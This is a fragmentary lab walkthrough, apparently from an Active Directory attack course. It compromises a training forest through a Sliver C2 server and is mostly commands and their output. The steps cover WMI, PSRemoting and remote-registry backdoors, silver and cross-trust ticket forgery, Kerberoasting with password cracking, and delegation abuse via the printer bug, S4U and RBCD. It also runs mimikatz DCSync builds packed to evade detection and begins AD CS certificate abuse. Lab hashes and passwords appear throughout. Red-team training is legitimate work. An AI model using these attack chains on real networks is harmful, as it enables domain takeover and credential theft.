https://raw.githubusercontent.com/MScholtes/PS2EXE/master/Module/ps2exe.ps1
The idea is to make RACE.ps1 an executable script rather than just a module script by appending
commands at the end of the module script making it executable. Next, we use PS2EXE.ps1 to convert
the new RACEex.ps1 into a C# .NET x86-x64 assembly compatible to be run by execute-assembly in
Sliver.
To enable WMI rights to allow dcorp\studentX access over a specific namespace on dcorp-dc we use the
following command from RACE.ps1.
Set-RemoteWMI -SamAccountName studentX -ComputerName dcorp-dc.dollarcorp.mone
ycorp.local -namespace 'root\cimv2' -Verbose
To enable PSRemoting rights to allow dcorp\studentX access over a specific namespace on dcorp-dc we
use the following command from RACE.ps1.
Set-RemotePSRemoting -SamAccountName "studentX" -ComputerName "dcorp-dc.dolla
rcorp.moneycorp.local" -Verbose
We create 2 executable scripts - RACEEx.ps1 and RACEExRem.ps1, namely one to add the rights and the
other to remove them. Copy Race.ps1 and rename the 2 copies to create the above ps1 files using
RACE.ps1 as a base template including all required modules.
PS C:\Windows\System32> copy C:\AD\Tools\Sliver\RACE.ps1 C:\AD\Tools\Sliver\R
ACEEx.ps1
PS C:\Windows\System32> copy C:\AD\Tools\Sliver\RACE.ps1 C:\AD\Tools\Sliver\R
ACEExRem.ps1
Similarly, append the following lines (at the end) to RACEExRem.ps1 to remove the added WMI and
PSRemoting rights and save it.
Set-RemotePSRemoting -SamAccountName studentX -ComputerName dcorp-dc.dollarco
rp.moneycorp.local -Remove -Verbose;
Next, spawn a PowerShell administrator prompt and convert both these ps1 files to a C# .NET x86-x64
assembly using PS2EXE.ps1 as follows.
PS C:\Windows\system32> C:\AD\Tools\Sliver\ps2exe.ps1 -inputFile C:\AD\Tools\
Sliver\RACEEx.ps1 -outputFile C:\AD\Tools\Sliver\RACEex.exe -x64 -sta
Usage:
C:\AD\Tools\Sliver\ps2exe.ps1 [-inputFile] <file_name> [-outputFile] <file_na
me> [-verbose] [-debug]
-x64 = Compile for 64-bit runtime only
-sta = Single Thread Apartment Mode
It is also possible to perform this conversion with its GUI wrapper alternative called Win-PS2EXE.exe.
Finally, let’s execute RACEex.exe with execute-assembly as follows to add WMI and PSRemoting rights
to our studentuser. Before doing so make sure to impersonate dcorp\svcadmin to get sufficient
privileges and make sure to purge the ticket after use.
[server] sliver (dcorp-std_https) > execute-assembly -p explorer.exe -t 80
/mnt/c/AD/Tools/Sliver/Rubeus.exe 'asktgt /user:svcadmin
/aes256:6366243a657a4ea04e406f1abc27f1ada358ccd0138ec5ca2835067719dc7011
/opsec /show /ptt'
[*] Output:
VERBOSE: Existing ACL for namespace root\cimv2 is O:BAG:BAD:(A;CIID;CCDCLCSWR
PWPRCWD;;;BA)(A;CIID;CCDCRP;;;NS)(A;CIID;CCDCRP;;;LS)(A;CIID;CCDCRP;;;AU)
VERBOSE: Existing ACL for DCOM is O:BAG:BAD:(A;;CCDCLCSWRP;;;BA)(A;;CCDCSW;;;
WD)(A;;CCDCLCSWRP;;;S-1-5-32-562)(A;;CCDCLCSWRP;;;LU)(A;;CCDCSW;;;AC)
VERBOSE: New ACL for namespace root\cimv2 is O:BAG:BAD:(A;CIID;CCDCLCSWRPWPRC
WD;;;BA)(A;CIID;CCDCRP;;;NS)(A;CIID;CCDCRP;;;LS)(A;CIID;CCDCRP;;;AU)(A;CI;CCD
CLCSWRPWPRCWD;;;S-1-5-21-1874506631-3219952063-538504511-52621)
VERBOSE: New ACL for DCOM O:BAG:BAD:(A;;CCDCLCSWRP;;;BA)(A;;CCDCSW;;;WD)(A;;C
CDCLCSWRP;;;S-1-5-32-562)(A;;CCDCLCSWRP;;;LU)(A;;CCDCSW;;;AC)(A;;CCDCLCSWRP;;
;S-1-5-21-1874506631-3219952063-538504511-52621)
ERROR: Processing data for a remote command failed with the following error m
essage: The I/O operation has been aborted because of either a thread exit or
an application request. For more information, see the about_Remote_Troublesh
ooting Help topic.
Finally re-impersonate our studentX user and test PSRemoting access using Stracciatella as follows. You
can alternately test this from a standard PowerShell prompt.
[*] Output:
doIGKTCCBiWgAwIBBaE[snip]
ServiceName : krbtgt/dollarcorp.moneycorp.local
ServiceRealm : DOLLARCORP.MONEYCORP.LOCAL
UserName : studentX
UserRealm : DOLLARCORP.MONEYCORP.LOCAL
StartTime : 2/14/2024 7:34:17 AM
EndTime : 2/14/2024 5:34:17 PM
RenewTill : 2/21/2024 7:34:17 AM
Flags : name_canonicalize, pre_authent, initial, renewa
ble, forwardable
KeyType : rc4_hmac
Base64(key) : 2gJVuqHGi+XOzlt1YgZF8g==
ASREP (key) : 8595D70A3C150218B35AB4C32A0CF3C8
The command to set permissions for dcorp\studentX to retrieve the machine account hash using
RACE.ps1 is as follows.
Add-RemoteRegBackdoor -ComputerName dcorp-dc.dollarcorp.moneycorp.local -Trus
tee studentX -Verbose
The command to retrieve the machine account hash using RACE.ps1 after the permissions are set is as
follows is as follows.
Get-RemoteMachineAccountHash -ComputerName dcorp-dc.dollarcorp.moneycorp.loca
l -Verbose
We create 2 executable scripts - RACEEx1.ps1 and RACEEx2.ps1. Copy RACE.ps1 and rename the copies
to create the two ps1 scripts using it as a base template including all required modules.
PS C:\Windows\system32> copy C:\AD\Tools\Sliver\RACE.ps1 C:\AD\Tools\Sliver\R
ACEEx1.ps1
PS C:\Windows\system32> copy C:\AD\Tools\Sliver\RACE.ps1 C:\AD\Tools\Sliver\R
ACEEx2.ps1
Append the following lines (at the end) to RACEex1.ps1 to set permissions as dcorp\svcadmin to create a
remote backdoor to retrieve the machine account hash as dcorp\studentX. Save the ps1 file.
Add-RemoteRegBackdoor -ComputerName dcorp-dc.dollarcorp.moneycorp.local -Trus
tee studentX -Verbose
Append the following lines to RACEex2.ps1 to retrieve the Machine account hash as dcorp\studentX.
Get-RemoteMachineAccountHash -ComputerName dcorp-dc.dollarcorp.moneycorp.loca
l -Verbose
Next, convert RACEEx1.ps1 and RACEEx2.ps1 and to a C# .NET x86-x64 assembly using PS2EXE.ps1 as
follows.
PS C:\Windows\system32> C:\AD\Tools\Sliver\ps2exe.ps1 -inputFile C:\AD\Tools\
Sliver\RACEEx1.ps1 -outputFile C:\AD\Tools\Sliver\RACEEx1.exe -x64 -sta
Execute these binaries with execute-assembly using prior impersonation as follows to add the remote
retrieval permissions and retrieve the machine account hash using studentX permissions as follows.
[server] sliver (dcorp-std_https) > execute-assembly -p explorer.exe -t 80
/mnt/c/AD/Tools/Sliver/Rubeus.exe 'asktgt /user:svcadmin
/aes256:6366243a657a4ea04e406f1abc27f1ada358ccd0138ec5ca2835067719dc7011
/opsec /show /ptt'
[*] Output:
[............snip. ...........]
[*] Output:
VERBOSE: Bootkey/SysKey : BAB78ACD91795C983AEF0534E0DB38C7
VERBOSE: LSA Key : BDC807FEC0BB38EB0AE338451573904220F8B69404F719BDDB0
3F8618E84005C
ComputerName MachineAccountHash
Use the gathered dcorp-dc machine account hash to craft a silver ticket to access the HOST and RPCSS
service to get WMI execution rights. Start by using rubeus to get and import a ticket for the HOST
service.
[server] sliver (dcorp-std_https) > execute-assembly -p explorer.exe -t 45
'/mnt/c/AD/Tools/Sliver/Rubeus.exe' 'evasive-silver /service:host/dcorp-
dc.dollarcorp.moneycorp.local /rc4:bfc768a2663faa840c08b6530ec4961e
/user:administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-
719815819-3726368948-3917688648 /ptt'
[............snip. .............]
[............snip. .............]
Scope: \\dcorp-dc\root\cimv2
[...................snip. ....................]
[*] Output:
An alternative would be to use raw LDAP queries using the --ldap argument and the LDAP filter:
(&(objectCategory=person)(objectClass=user)(servicePrincipalName=*)) which filters for all
USER_OBJECT types with the Service Principal Name property enabled. We use the --filter argument to
only return the samaccountname and serviceprincipalname.
[server] sliver (dcorp-std_https) > execute-assembly -p explorer.exe -t 45
'/mnt/c/AD/Tools/Sliver/StandIn.exe' --ldap
"(&(objectCategory=person)(objectClass=user)(servicePrincipalName=*))" --
filter samaccountname,serviceprincipalname
We can then use Rubeus to output these hashes to a text file for cracking later. We can also specify
specific users to Kerberoast using the /user option and Kerberoast all users over a specific OU using the
/ou option.
[server] sliver (dcorp-std_https) > execute-assembly -i -t 45
'/mnt/c/AD/Tools/Sliver/Rubeus.exe' 'kerberoast /user:svcadmin /simple
/rc4opsec /outfile:C:\AD\Tools\Sliver\hashes.txt'
[*] Action: Kerberoasting
We can now use John the Ripper to brute-force the hashes. Please note that you need to remove
":1433" from the SPN in hashes.txt before running John.
$krb5tgs$23$*svcadmin$dollarcorp.moneycorp.local$MSSQLSvc/dcorp-
mgmt.dollarcorp.moneycorp.local:1433* should be
$krb5tgs$23$*svcadmin$dollarcorp.moneycorp.local$MSSQLSvc/dcorp-
mgmt.dollarcorp.moneycorp.local* in hashes.txt
Run the below command in a new PowerShell session after making the above changes.
PS C:\AD\Tools> C:\AD\Tools\Sliver\john-1.9.0-jumbo-1-win64\run\john.exe --wo
rdlist=C:\AD\Tools\kerberoast\10k-worst-pass.txt C:\AD\Tools\Sliver\hashes.tx
t
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 3 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
*ThisisBlasphemyThisisMadness!! (?)
1g 0:00:00:00 DONE (2023-03-03 09:18) 90.90g/s 186181p/s 186181c/s 186181C/s
energy..mollie
Use the "--show" option to display all of the cracked passwords reliably
Session completed
[*] Output:
[.....snip... ]
[*] Output:
/ | / \/ / / /_
/ /| | / / / /\ \/ _ \/ `/ / \
/ |/ /_/ / / / / /_/ / / / / / /
/_/ |_/ // /\ /\ ,_/\ /_/ /_/
Twitter: @tomcarver_
GitHub: @tomcarver16
Let’s check if anyone of the compromised users have local admin privileges on dcorp-appsrv.
[...........snip. ...........]
ServiceName : krbtgt/dollarcorp.moneycorp.local
ServiceRealm : DOLLARCORP.MONEYCORP.LOCAL
UserName : appadmin
UserRealm : DOLLARCORP.MONEYCORP.LOCAL
StartTime : 1/19/2024 5:37:15 AM
EndTime : 1/19/2024 3:37:15 PM
RenewTill : 1/26/2024 5:37:15 AM
Flags : name_canonicalize, pre_authent, initial, renewa
ble, forwardable
KeyType : rc4_hmac
Base64(key) : BZeppby4CClV2x0lllhSEA==
ASREP (key) : D549831A955FEE51A43C83EFB3928FA7
Checking for local admin access using LACheck we find that we have local admin access to dcorp-appsrv
as dcorp\appadmin.
[*] Output:
[+] Parsed Aguments:
rpc: False
smb: False
winrm: True
/bloodhound: False
/dc:
/domain: dollarcorp.moneycorp.local
/edr: False
/logons: False
/registry: False
/services: False
/ldap: servers-exclude-dc
/ou:
/socket:
/targets:
/threads: 10
/user: appadmin
/verbose: False
[+] Performing LDAP query against dollarcorp.moneycorp.local for all enabled
servers excluding Domain Controllers or read-only DCs...
[+] This may take some time depending on the size of the environment
[+] LDAP Search Results: 8
Status: (0.00%) 0 computers finished (+0) -- Using 24 MB RAM
[WinRM] Admin Success: DCORP-ADMINSRV.DOLLARCORP.MONEYCORP.LOCAL as appadmin
[WinRM] Admin Success: DCORP-APPSRV.DOLLARCORP.MONEYCORP.LOCAL as appadmin
[+] Finished enumerating hosts
We can now use rubeus and SpoolSample (C# MS-RPRN exploit) to abuse the Printer bug along with
Unconstrained Delegation.
wsluser@dcorp-studentX:~$ cd /mnt/c/AD/Tools/Sliver/Implants
Upload the NtDropper onto dcorp-appsrv and abuse it using scshell with the wmiprvse service as shown
in previous objectives.
Now that we have a session on dcorp-appsrv we can begin exploiting Unconstrained Delegation. Start
the multiplayer mode to create two live sessions (one on dcorp-appsrv and the other on dcorp-stdX) on
the Sliver C2 to exploit the Printer Bug and capture the TGT in another terminal simultaneously.
[server] sliver (dcorp-std_https) > multiplayer
[*] Multiplayer mode enabled!
Perform the following consecutively, on the dcorp-appsrv (Sliver Client) session run rubeus in harvest
mode which takes the monitor mode one step further to capture TGT’s since the Sliver session tasks
would result in no output if execution occurs beyond the timeout period. rubeus harvest /runfor:<x>
allows to specify how long to run the command and if this is below the Sliver task timeout we should
receive the desired output (Note below timeout : 45 > harvest /runfor: 30 ).
[......snip. .... ]
4028 2176 NT AUTHORITY\SYSTEM x86 64 taskhostw.exe 0
1620 1000 NT AUTHORITY\SYSTEM x86_64 taskhostw.exe
0
User : [email protected]
StartTime : 1/19/2024 7:08:57 AM
EndTime : 1/19/2024 5:08:57 PM
RenewTill : 1/24/2024 7:37:45 AM
Flags : name_canonicalize, pre_authent, renewable, forward
ed, forwardable
Base64EncodedTicket :
And in the other dcorp-stdX session (Sliver server) immediately perform the MS-RPRN exploit using
SpoolSample.
[server] sliver (dcorp-std_https) > execute-assembly -p explorer.exe -t 20
'/mnt/c/AD/Tools/Sliver/SpoolSample.exe' 'dcorp-dc.dollarcorp.moneycorp.local
dcorp-appsrv.dollarcorp.moneycorp.local'
[*] Output:
[+] Converted DLL to shellcode
[+] Executing RDI
[+] Calling exported function
On the dcorp-appsrv session (Sliver client) copy the base64 encoded ticket and convert it to a ticket,
then use it along with rubeus to Pass the Ticket.
[*] Output:
mimikatz(commandline) # privilege::debug
ERROR kuhl_m_privilege_simple ; RtlAdjustPrivilege (20) c0000061
** SAM ACCOUNT **
Credentials:
Hash NTLM: 4e9815869d2090ccfca61c1fe0d23986
[..............snip. ...............]
Setup rubeus as before in the dcorp-appsrv session (Sliver client) to capture the mcorp-dc$ TGT.
sliver (dcorp-appsrv_tcp) > execute-assembly -p taskhostw.exe -t 60
'/mnt/c/AD/Tools/Sliver/Rubeus.exe' 'harvest /runfor:30 /interval:8 /nowrap
/targetuser:MCORP-DC$'
User : [email protected]
StartTime : 1/19/2024 7:06:30 AM
EndTime : 1/19/2024 5:06:30 PM
RenewTill : 1/24/2024 7:36:04 AM
Flags : name_canonicalize, pre_authent, renewable, forward
ed, forwardable
Base64EncodedTicket :
doIFVjCCBVKgAw[.....snip... ]Gw9NT05FWUNPUlAuTE9DQUw=
Simultaneously, in the dcorp-stdX session (Sliver server) perform the MS-RPRN exploit using
SpoolSample same as before.
[server] sliver (dcorp-std_https) > execute-assembly -p explorer.exe -t 20
'/mnt/c/AD/Tools/Sliver/SpoolSample.exe' 'mcorp-dc.moneycorp.local dcorp-
appsrv.dollarcorp.moneycorp.local'
[*] Output:
[+] Converted DLL to shellcode
In a new Ubuntu WSL prompt, now create a .NET mimikatz binary to perform a dcsync on mcorp
(lsadump::dcsync /user:mcorp\krbtgt /domain:moneycorp.local) as follows.
wsluser@dcorp-studentX:~$ cd /mnt/c/AD/Tools/Sliver/PEzor/
wsluser@dcorp-studentX:/mnt/c/AD/Tools/Sliver/PEzor$ sudo su
[sudo] password for wsluser: WSLToTh3Rescue!
root@dcorp-studentX:/mnt/c/AD/Tools/Sliver/PEzor# mv /mnt/c/AD/Tools/Sliver/P
Ezor/mimikatz.exe.packed.dotnet.exe /mnt/c/AD/Tools/Sliver/PEzor/mimikatz-dcs
ync-mcorp.exe.packed.dotnet.exe
[*] Output:
Credentials:
Hash NTLM: a0981492d5dfab1ae0b97b51ea895ddf
[snip]
Exit from the Sliver Client using the exit command and continue exploitation using the primary Sliver
server dcorp-stdX session.
• For such a user, request a TGT from the DC and obtain a TGS for the service to which delegation is
configured.
Enumerate computer accounts in the domain for which Constrained Delegation is enabled.
[*] Output:
[?] Found 2 object(s) with constrained delegation..
[*] SamAccountName : DCORP-ADMINSRV$
DistinguishedName : CN=DCORP-ADMINSRV,OU=Applocked,DC=dollarcorp,D
C=moneycorp,DC=local
msDS-AllowedToDelegateTo : TIME/dcorp-dc.dollarcorp.moneycorp.LOCAL
TIME/dcorp-DC
Protocol Transition : True
userAccountControl : WORKSTATION_TRUST_ACCOUNT, TRUSTED_TO_AUTHENTI
CATE_FOR_DELEGATION
[*] Output:
/ | / \/ / / /_
/ /| | / / / /\ \/ _ \/ `/ / \
/ |/ /_/ / / / / /_/ / / / / / /
/_/ |_/ // /\ /\ ,_/\ /_/ /_/
GitHub: @tomcarver16
[*] No domain supplied. This PCs domain will be used instead
[*] LDAP://DC=dollarcorp,DC=moneycorp,DC=local
[*] CUSTOM SEARCH:
[*] TOTAL NUMBER OF SEARCH RESULTS: 1
[
{
"cn": "websvc",
"dnshostname": null,
"samaccountname": "websvc",
"msds-allowedtodelegateto": [
"CIFS/dcorp-mssql.dollarcorp.moneycorp.LOCAL",
"CIFS/dcorp-mssql"
]
}
]
Abuse Constrained Delegation using the hash of dcorp\websvc with rubeus as follows.
[server] sliver (dcorp-std_https) > execute-assembly -p explorer.exe -t 40
'/mnt/c/AD/Tools/Sliver/Rubeus.exe' 's4u /user:websvc
/aes256:2d84a12f614ccbf3d716b8339cbbe1a650e5fb352edc8e879470ade07e5412d7
/impersonateuser:Administrator /msdsspn:"CIFS/dcorp-
mssql.dollarcorp.moneycorp.LOCAL" /ptt'
[*] rubeus output:
doIFbjCCBWqgAwI[..........snip. ...........]
doIF1DCCBdCgA[..........snip. ...........]
[..........snip. ........]
[*] Output:
[.....snip. ....]
[*] Output:
/ | / \/ / / /_
/ /| | / / / /\ \/ _ \/ `/ / \
/ |/ /_/ / / / / /_/ / / / / / /
/_/ |_/ // /\ /\ ,_/\ /_/ /_/
Twitter: @tomcarver_
GitHub: @tomcarver16
Since there is no validation for the SPN specified in S4U we can abuse Constrained Delegation using the
hash of dcorp-adminsrv$ with rubeus to gain access to an alternate service such as LDAP since the TIME
service isn’t too useful for command execution.
NOTE: It is advised to the /aes256 hash instead of the standard /rc4 option for better OPSEC.
[server] sliver (dcorp-std_https) > execute-assembly -p explorer.exe -t 40
'/mnt/c/AD/Tools/Sliver/Rubeus.exe' 's4u /user:dcorp-adminsrv$
/rc4:b5f451985fd34d58d5120816d31b5565 /impersonateuser:Administrator
/msdsspn:time/dcorp-dc /altservice:ldap /ptt'
doIF4zCCBd+gAwIBB[.....snip. ....]
doIGAzCCBf+gAwIBBaE[.....snip. ....]
doIHGTCCBxWgAwIBBa[.....snip. ....]
[*] Output:
mimikatz(commandline) # privilege::debug
ERROR kuhl_m_privilege_simple ; RtlAdjustPrivilege (20) c0000061
** SAM ACCOUNT **
Credentials:
Hash NTLM: 4e9815869d2090ccfca61c1fe0d23986
[*] Output:
[....snip... ]
[snip]
Enumerate ACLs...
Checking for ACLs with RBCD...
Number of possible RBCD ACLs: 1
RBCD ACL:
Source: ciadmin
Source Domain: dollarcorp.moneycorp.local
Destination: dcorp-mgmt.dollarcorp.moneycorp.local
Privilege: GenericWrite
Get-RBCD-Threaded:
-d|-domain FQDN domain to authentication to
[*] Output:
doIGAjCCBf6gAwIBB[snip]
ServiceName : krbtgt/DOLLARCORP.MONEYCORP.LOCAL
ServiceRealm : DOLLARCORP.MONEYCORP.LOCAL
UserName : svcadmin
UserRealm : DOLLARCORP.MONEYCORP.LOCAL
StartTime : 1/15/2024 6:30:41 AM
EndTime : 1/15/2024 4:30:41 PM
RenewTill : 1/22/2024 6:30:41 AM
Remotely dump SAM using sharpsecdump we find dcorp\ciadmin credentials in Plaintext. We can use
these credentials to abuse the RBCD attack.
[server] sliver (dcorp-std_https) > execute-assembly -p explorer.exe -t 60
'/mnt/c/AD/Tools/Sliver/SharpSecDump.exe' "-target=dcorp-ci"
[*] output:
[*] RemoteRegistry service started on dcorp-ci
[*] Parsing SAM hive on dcorp-ci
[*] Parsing SECURITY hive on dcorp-ci
[*] Sucessfully cleaned up on dcorp-ci
To abuse RBCD, we need a computer object to allow delegation rights. Creating a new computer isn’t as
Next use this SID to set RBCD delegation as dcorp\ciadmin over the dcorp-stdX machine account using
StandIn.
NOTE: If we do not have explicit credentials, it is possible to complete this attack using other prior
impersonation techniques as showcased in other objectives.
Switch to the elevated persistent AbyssWebserver session and migrate to an NT Authority process.
[server] sliver (dcorp-std_https) > sessions -i b9cd498e [*]
[*] Output:
[........snip. .......]
* Username : DCORP-STUDENTX$
* Domain : dollarcorp.moneycorp.local
* Password : #pn3 0/L.zNUNUZ:wHgzL6022d=fTSJKtXaUxBP%B@<`0JDuSf,W5q"
O@fpB!(c<1BXAvL-jo<nW`*DY!Q%$[o#$cLDgh/a2OOx,P1inI'V_7T^:5ZrZuIz/
* Key List :
des_cbc_md4 29a28164bb26ba3a79408bb1248bceee76c5bb8cb777bdde
af0f67500bbacb05
des_cbc_md4 d642f13e46cce541c9c0096311ee28a3
des_cbc_md4 3183f0e26d1bdd471b68b6c9edd873b5
des_cbc_md4 3183f0e26d1bdd471b68b6c9edd873b5
des_cbc_md4 3183f0e26d1bdd471b68b6c9edd873b5
des_cbc_md4 3183f0e26d1bdd471b68b6c9edd873b5
des_cbc_md4 3183f0e26d1bdd471b68b6c9edd873b5
Switch back to the primary dcorp\studentX session and use rubeus along with the dcorp-stdX$ hash to
abuse the RBCD rights to access CIFS on dcorp-mgmt as a Domain Administrator - dcorp\administrator.
[server] sliver (dcorp-std_https) > sessions -i 82c659f8
[*] Active session dcorp-std_https (82c659f8)
[*] base64(ticket.kirbi):
doIFqjCCBaagAw[..............snip. .........]
[*] Action: S4U
[*] Using domain controller: dcorp-dc.dollarcorp.moneycorp.local (172.16.2.1)
[*] Building S4U2self request for: '[email protected]'
[*] Sending S4U2self request
[+] S4U2self success!
[*] Got a TGS for 'administrator' to '[email protected]'
[*] base64(ticket.kirbi):
doIF/zCCBfugAw[..............snip. .........]
[..........snip. ......]
To do so we first impersonate the Domain Admin found earlier using Rubeus as follows.
[server] sliver (dcorp-std_https) > execute-assembly -p explorer.exe -t 80
/mnt/c/AD/Tools/Sliver/Rubeus.exe 'asktgt /user:svcadmin
/aes256:6366243a657a4ea04e406f1abc27f1ada358ccd0138ec5ca2835067719dc7011
/opsec /show /ptt'
[*] Output:
doIGAjCCBf6gAwIBB[snip]
Use PEzor in a new Ubuntu WSL prompt to create a compatible .NET mimikatz binary to perform a
DCSync and retrieve the dcorp\mcorp$ Trust key: "lsadump::dcsync /user:dcorp\mcorp$
/domain:dollarcorp.moneycorp.local" "exit".
wsluser@dcorp-studentX:~$ sudo su
[sudo] password for wsluser: WSLToTh3Rescue!
root@dcorp-studentX:/mnt/c/AD/Tools/Sliver/PEzor# mv /mnt/c/AD/Tools/Sliver/P
Ezor/mimikatz.exe.packed.dotnet.exe /mnt/c/AD/Tools/Sliver/PEzor/mimikatz-dcs
ync-trustkey.exe.packed.dotnet.exe
[*] Output:
** SAM ACCOUNT **
Credentials:
Hash NTLM: 4312d947e30071bf8857ded56876e212
ntlm- 0: 4312d947e30071bf8857ded56876e212
ntlm- 1: 568d8db72d996cd37f962a8a08b0af00
ntlm- 2: 568d8db72d996cd37f962a8a08b0af00
Supplemental Credentials:
* Primary:Kerberos-Newer-Keys *
Default Salt : DOLLARCORP.MONEYCORP.LOCALkrbtgtmcorp
Default Iterations : 4096
Credentials
aes256_hmac (4096) : 7c66d95a09e42a74068694b9120672863ae78ae0b3c2
ddd894552579288a907f
[snip]
We can now use the trust key to forge a cross trust ticket using Rubeus and use it for authentication to
gain a service ticket to a target such as CIFS as follows.
[server] sliver (dcorp-std_https) > execute-assembly -i -t 40
'/mnt/c/AD/Tools/Sliver/Rubeus.exe' 'evasive-silver
/service:krbtgt/DOLLARCORP.MONEYCORP.LOCAL
/rc4:247cac3235f4f602d549fb5b3a195a31 /sid:S-1-5-21-719815819-3726368948-
3917688648 /sids:S-1-5-21-335606122-960912869-3279953914-519 /ldap
/user:Administrator /nowrap'
[*] Output:
[*] base64(ticket.kirbi):
doIGFjCCBhKgAw[snip]
ServiceName : CIFS/mcorp-dc.MONEYCORP.LOCAL
Use rubeus to request a TGT as dcorp\svcadmin (domain administrator) to get Domain admin rights.
[server] sliver (dcorp-std_https) > execute-assembly -p explorer.exe -t 80
/mnt/c/AD/Tools/Sliver/Rubeus.exe 'asktgt /user:svcadmin
/aes256:6366243a657a4ea04e406f1abc27f1ada358ccd0138ec5ca2835067719dc7011
/opsec /show /ptt'
[*] Output:
doIGAjCCBf6gAwIBB[snip]
[*] Output:
mimikatz(commandline) # privilege::debug
ERROR kuhl_m_privilege_simple ; RtlAdjustPrivilege (20) c0000061
** SAM ACCOUNT **
Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
Random Value : 6d4cc4edd46d8c3d3e59250c91eac2bd
* Primary:Kerberos-Newer-Keys *
Default Salt : DOLLARCORP.MONEYCORP.LOCALkrbtgt
Default Iterations : 4096
Credentials
aes256_hmac (4096) : 154cb6624b1d859f7080a6615adc488f09f92843879b
3d914cbcb5a8c3cda848
[*] base64(ticket.kirbi):
doIGZDCCBmCgA[snip]
Note: Because of SID filtering we cannot abuse SID history injection attacks, we would rather gain
whatever privileges the current user (Enterprise admin) in the moneycorp forest has in the trusted
eurocorp forest. We cannot escalate to Enterprise Admins directly as before but can use these privileges
to access specifically shared resources and shares.
To retrieve the dcorp\ecorp$ trust key, spawn a new Ubuntu prompt and use PEzor to create a
compatible .NET mimikatz binary with arguments for execution: "privilege::debug" "lsadump::trust
/patch" "exit".
wsluser@dcorp-studentX:~$ sudo su
[sudo] password for wsluser: WSLToTh3Rescue!
root@dcorp-studentX:/home/wsluser# cd /mnt/c/AD/Tools/Sliver/PEzor/
root@dcorp-studentX:/mnt/c/AD/Tools/Sliver/PEzor# mv /mnt/c/AD/Tools/Sliver/P
Ezor/mimikatz.exe.packed.dotnet.exe /mnt/c/AD/Tools/Sliver/PEzor/mimikatz-tru
stkey.exe.packed.dotnet.exe
[*] Output:
[snip]
Purge the domain admin ticket using rubeus.
[server] sliver (dcorp-std_https) > execute-assembly -p explorer.exe -t 40
'/mnt/c/AD/Tools/Sliver/Rubeus.exe' purge
[*] base64(ticket.kirbi):
doIGHDCCBhig[snip]
Next request a TGS for a service on eurocorp-dc. In this case we request a ticket for the CIFS service.
[server] sliver (dcorp-std_https) > execute-assembly -i -t 40
'/mnt/c/AD/Tools/Sliver/Rubeus.exe' 'asktgs /service:CIFS/eurocorp-
dc.eurocorp.LOCAL /dc:eurocorp-dc.eurocorp.LOCAL /ptt
/ticket:doIGHDCCBhig[snip]'
[........snip. .......]
ServiceName : cifs/eurocorp-dc.eurocorp.local
ServiceRealm : EUROCORP.LOCAL
UserName : Administrator
UserRealm : dollarcorp.moneycorp.local
StartTime : 10/1/2022 4:05:54 AM
EndTime : 10/1/2022 2:05:54 PM
RenewTill : 10/8/2022 4:05:54 AM
Flags : name_canonicalize, ok_as_delegate, pre_authent,
renewable, forwardable
KeyType : aes256_cts_hmac_sha1
Base64(key) : kmxfbuXjUiZ5LATsY9E7v2+6uM/Ua75bWgiJuCMhtQw=
Since we can only access explicitly shared shares let use enumerate the target shares on eurocorp-dc
using the sa-netshares BOF.
[server] sliver (dcorp-std_https) > sa-netshares -t 60 'eurocorp-dc.eurocorp.
local'
ADMIN$
C$
IPC$
NETLOGON
SharedwithDCorp
SYSVOL
Checking for CIFS access it is noted that we have access to the SharedwithDCorp share.
[server] sliver (dcorp-std_https) > ls '\\eurocorp-dc.eurocorp.local\Sharedwi
thDcorp'
\\eurocorp-dc.eurocorp.local\SharedwithDcorp\ (1 item, 29 B)
============================================================
-rw-rw-rw- secret.txt 29 B Mon Jan 18 04:18:07 -0700 2024
• Abuse any such template(s) to escalate to Domain Admin and Enterprise Admin.
Enumerating AD CS
Using Certify
We can use the Certify tool from the armory to check for AD CS in moneycorp. The cas command is used
to find information about all registered CAs.
We can list all the templates using the find command. Going through the output we can find some
interesting templates.
[server] sliver (dcorp-std_https) > execute-assembly -p explorer.exe -t 40
'/mnt/c/AD/Tools/Sliver/Certify.exe' find
[......snip. ... ]
CA Name : mcorp-dc.moneycorp.local\moneycor
p-MCORP-DC-CA
Template Name : SmartCardEnrollment-Agent
Schema Version : 2
Validity Period : 2 years
Renewal Period : 6 weeks
msPKI-Certificates-Name-Flag : SUBJECT_ALT_REQUIRE_UPN, SUBJECT_
REQUIRE_DIRECTORY_PATH
mspki-enrollment-flag : AUTO_ENROLLMENT
Authorized Signatures Required : 0
pkiextendedkeyusage : Certificate Request Agent
mspki-certificate-application-policy : Certificate Request Agent
Permissions
Enrollment Permissions
Enrollment Rights : dcorp\Domain Users S-1-5-21-1
874506631-3219952063-538504511-513
[.....snip. ... ]
CA Name : mcorp-dc.moneycorp.local\moneycor
p-MCORP-DC-CA
Template Name : HTTPSCertificates
Schema Version : 2
Validity Period : 1 year
Renewal Period : 6 weeks
msPKI-Certificates-Name-Flag : ENROLLEE_SUPPLIES_SUBJECT
[......snip. ... ]
[.......snip. ....]
CA Name : mcorp-dc.moneycorp.local\moneycor
p-MCORP-DC-CA
Template Name : HTTPSCertificates
Schema Version : 2
Validity Period : 1 year
Renewal Period : 6 weeks
msPKI-Certificates-Name-Flag : ENROLLEE_SUPPLIES_SUBJECT
mspki-enrollment-flag : INCLUDE_SYMMETRIC_ALGORITHMS, PUB
LISH_TO_DS
Authorized Signatures Required : 0
pkiextendedkeyusage : Client Authentication, Encrypting
File System, Secure Email
mspki-certificate-application-policy : Client Authentication, Encrypting
File System, Secure Email
Permissions
Enrollment Permissions
Enrollment Rights : dcorp\RDPUsers S-1-5-21-
1874506631-3219952063-538504511-1116
[.......snip. ....]
The HTTPSCertificates template grants enrollment rights to the RDPUsers group and allows the
requestor to supply a Subject Name. Recall that dcorp\studentX is a member of RDPUsers group. This
means that we can request a certificate for any user as dcorp\studentX.
[*] Convert with: openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced
Cryptographic Provider v1.0" -export -out cert.pfx
Copy all the text between —--BEGIN RSA PRIVATE KEY—-- and —--END CERTIFICATE—-- and save it as
esc1.pem.
We need to convert esc1.pem to PFX to use it. Spawn a new PowerShell prompt and use the openssl.exe
binary on windows to do that as follows. We can use an export password, we use Passw0rd! as the
export password in this case.
